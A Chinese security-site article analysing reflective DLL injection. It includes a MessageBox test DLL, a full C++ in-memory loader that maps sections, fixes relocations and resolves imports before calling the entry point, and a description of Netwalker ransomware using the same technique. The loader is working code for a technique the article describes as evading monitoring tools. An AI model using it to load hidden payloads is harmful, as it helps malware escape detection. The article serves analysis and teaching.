freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

恶意代码分析之反射型DLL注入
2020-08-03 09:15:42

技术概要

这是一种允许攻击者从内存而非磁盘向指定进程注入DLL的技术,该技术比常规的DLL注入更为隐蔽,因为除了不需要磁盘上的实际DLL文件之外,它也不需要任何Windows加载程序的辅助即可注入。这消除了将DLL注册为进程已加载模块的需求,从而可逃脱工具的监视。
 
首先准备好测试dll,使用VS2015先编译生成一个测试dll文件,作用是dll被进程附加的时候会执行MessageBox弹框,切记不要选择空项目。如下,在DLL_PROCESS_ATTACH添加一个消息框函数,直接编译生成dll。
示例源码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                                   )
{
       switch (ul_reason_for_call)
       {
       case DLL_PROCESS_ATTACH:
       {
              MessageBoxA(NULL, "注入成功!", "提示", MB_OK);
       }
       case DLL_THREAD_ATTACH:
       case DLL_THREAD_DETACH:
       case DLL_PROCESS_DETACH:
              break;
       }
       return TRUE;
}
下面会根据源码逐步分析整体执行流程,示例代码是模拟内存自加载dll的过程,为了演示所以采用了比较简单的方式,dll文件生成后放在在本地,而真实案例中恶意代码会存在母体文件的内存中,因为需要不落地内存加载。
 
先声明相应的结构体变量,采用指定位数的方式指定结构体变量实际占用的位数(根据重定位表的特性),声明一个函数指针便于后续进行调用执行dll入口。
第一步先通过GetModuleHandleA获取基址,避免ASLR随机基址影响,读取dll文件内容加载至内存中,通过PE结构获取实际加载至内存中dll的PE头部数据。
分配dll加载时所需的内存空间,获取加载基址与预期基址的差值,接着复制dll头部数据至新的内存空间。
开始模拟Windows加载器功能加载PE文件至内存,如下。

PE文件重定位

基址重定位表位于PE头的IMAGE_NT_HEADERS/IMAGE_OPTION_HEADER/IMAGE_DATA_DIRECTORY[5],换句话说重定位表位于可选头的数据目录表下的第六项,基址重定位表中记录硬编码地址的位置(偏移),使用这张表就能获得准确的硬编码地址偏移并后续对其修正。重定位表是按照一个物理页(4kb或1000H)进行存储的,也就是一个重定位块负责一个4kb内存页,一个重定位表只管自己当前的物理页重定位。一个重定位表的记录偏移的大小是2个字节(1000H最多需要12bit即可0~FFFH),也就是16位,而记录偏移的大小是由SizeofBlock决定的。
 

如何修正?

将指令中的操作数按照指针字节数读取出来,然后将其减去默认加载基址(扩展头中的字段ImageBase),再加上新的加载基址,最后把新地址存入原来的地址中。
重定位工作完成之后,进行导入表的解析。
以上工作准备完毕之后,就已经模拟内存加载完成,之后获取dll文件入口点进行执行,利用了之前声明的函数指针。
示例源码
#include <iostream>
#include <Windows.h>
typedef struct BASE_RELOCATION_BLOCK {
       DWORD PageAddress;
       DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
       USHORT Offset : 12;
       USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved);
int main()
{
       //得到当前模块的基址
       PVOID imageBase = GetModuleHandleA(NULL);
       //本地加载dll内容至内存中
       HANDLE dll =  CreateFileA("C:\\Users\\onion\\Desktop\\dll\\Release\\dll.dll", GENERIC_READ,  NULL, NULL, OPEN_EXISTING, NULL, NULL);
       DWORD64 dllSize = GetFileSize(dll, NULL);
       LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
       DWORD outSize = 0;
       ReadFile(dll, dllBytes, dllSize, &outSize, NULL);
       //获取已加载至内存中的dll的头部数据
       PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
       PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes +  dosHeaders->e_lfanew);
       SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;
       //分配dll加载时所需的内存空间
       LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase,  dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
       //得到实际分配的内存基址与预期的基址差值,便于后续进行重定向
       DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase -  (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;
       //将dll头部数据复制到分配的内存空间
       std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);
       //加载节区数据至新的内存空间
       PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
       for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
       {
              LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase +  (DWORD_PTR)section->VirtualAddress);
              LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes +  (DWORD_PTR)section->PointerToRawData);
              std::memcpy(sectionDestination, sectionBytes,  section->SizeOfRawData);
              section++;
       }
       // 开始dll加载实现重定位
       IMAGE_DATA_DIRECTORY relocations =  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
       DWORD_PTR relocationTable = relocations.VirtualAddress +  (DWORD_PTR)dllBase;
       DWORD relocationsProcessed = 0;
       while (relocationsProcessed < relocations.Size)
       {
              PBASE_RELOCATION_BLOCK relocationBlock =  (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
              relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
              DWORD relocationsCount = (relocationBlock->BlockSize -  sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
              PBASE_RELOCATION_ENTRY relocationEntries =  (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);
              for (DWORD i = 0; i < relocationsCount; i++)
              {
                     relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);
                     if (relocationEntries[i].Type == 0)
                     {
                           continue;
                     }
                     DWORD_PTR relocationRVA = relocationBlock->PageAddress +  relocationEntries[i].Offset;
                     DWORD_PTR addressToPatch = 0;
                     ReadProcessMemory(GetCurrentProcess(),  (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR),  NULL);
                     addressToPatch += deltaImageBase;
                     std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA),  &addressToPatch, sizeof(DWORD_PTR));
              }
       }
       //解析导入表
       PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
       IMAGE_DATA_DIRECTORY importsDirectory =  ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
       importDescriptor =  (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
       LPCSTR libraryName = "";
       HMODULE library = NULL;
       while (importDescriptor->Name != NULL)
       {
              libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
              library = LoadLibraryA(libraryName);
              if (library)
              {
                     PIMAGE_THUNK_DATA thunk = NULL;
                     thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase +  importDescriptor->FirstThunk);
                     while (thunk->u1.AddressOfData != NULL)
                     {
                           if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
                           {
                                  LPCSTR functionOrdinal =  (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                                  thunk->u1.Function =  (DWORD_PTR)GetProcAddress(library, functionOrdinal);
                           }
                           else
                           {
                                  PIMAGE_IMPORT_BY_NAME functionName =  (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
                                  DWORD_PTR functionAddress =  (DWORD_PTR)GetProcAddress(library, functionName->Name);
                                  thunk->u1.Function = functionAddress;
                           }
                           ++thunk;
                     }
              }
              importDescriptor++;
       }
       //执行加载的dll
       DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase +  ntHeaders->OptionalHeader.AddressOfEntryPoint);
       (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
       CloseHandle(dll);
       HeapFree(GetProcessHeap(), 0, dllBytes);
       return 0;
}

整个流程

1、读入原始DLL文件至内存缓冲区;
2、解析DLL标头并获取SizeOfImage;
3、为DLL分配新的内存空间,大小为SizeOfImage;
4、将DLL标头和PE节复制到步骤3中分配的内存空间;
5、执行重定位;
6、加载DLL导入的库;
7、解析导入地址表(IAT);
8、调用DLL的DLL_PROCESS_ATTACH;
 

演示效果

真实案例

Netwalker勒索软件dll自加载技术

恶意文件是一个混淆并加密过的PowerShell脚本,先对PowerShell脚本进行解混淆。解混淆后的内容如下,字节序列中的0x4d、0x5a明显是一个PE文件标志头,一旦加载执行后,这部分内容就在内存中了。
明显的C#代码模拟解析PE结构,如下。
执行自加载执行,如下。
更详细的内容可解混淆后自行查看,该勒索样本实现的反射加载过程非常明显。加载执行后,通过模拟加载dll并调用导出函数Do后进而实现注入目标进程,类似的技术则与开源项目PowerSploit中的反射自加载的Mimikatz脚本实现相类似。
 

参考

# dll注入
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者